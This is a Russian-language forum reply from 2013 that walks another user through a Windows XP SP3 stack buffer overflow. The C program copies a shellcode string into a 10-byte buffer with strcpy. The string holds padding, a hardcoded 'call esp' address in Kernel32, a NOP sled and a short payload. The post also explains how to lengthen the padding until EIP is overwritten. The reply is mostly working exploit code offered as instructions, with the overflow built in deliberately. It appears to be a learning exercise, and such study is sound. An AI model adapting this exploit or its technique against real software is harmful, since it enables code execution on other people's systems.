Показать сообщение отдельно

  #5  
Старый 15.02.2013, 03:42
RoksHD
Познающий
Регистрация: 28.05.2012
Сообщений: 36
С нами: 7346486

Репутация: 2
По умолчанию

Вот так тебе нужно сделать:

Код:
#include 
#include 

char shellcode[] = 
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\xf0\x69\x83\x7c" // call esp in Kernel32
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x31\xc0" // твой код
"\xbb\x46\x24\x80" //
"\x7c\x66\xb8\x98" //
"\x3a\x50\xff\xd3"; //

int main (int argc, char **argv) {
    char buf[10];
    memset (buf, 0, sizeof(buf));
    strcpy(buf, shellcode);
    return 0;
}
где shellcode - строка которую тебе нужно сгенерировать в твоей первой программе.

PS. Я уменьшил длину массива до 10 байт, если тебе обязательно нужно больше, то увеличивай первую секцию шеллкода (до call esp) пока регистр EIP не перетрется нашем адресом и всё.

PPS. Адрес интсрукции call ESP может у нас отличаться. У меня Windows XP SP3 En x86
 
Ответить с цитированием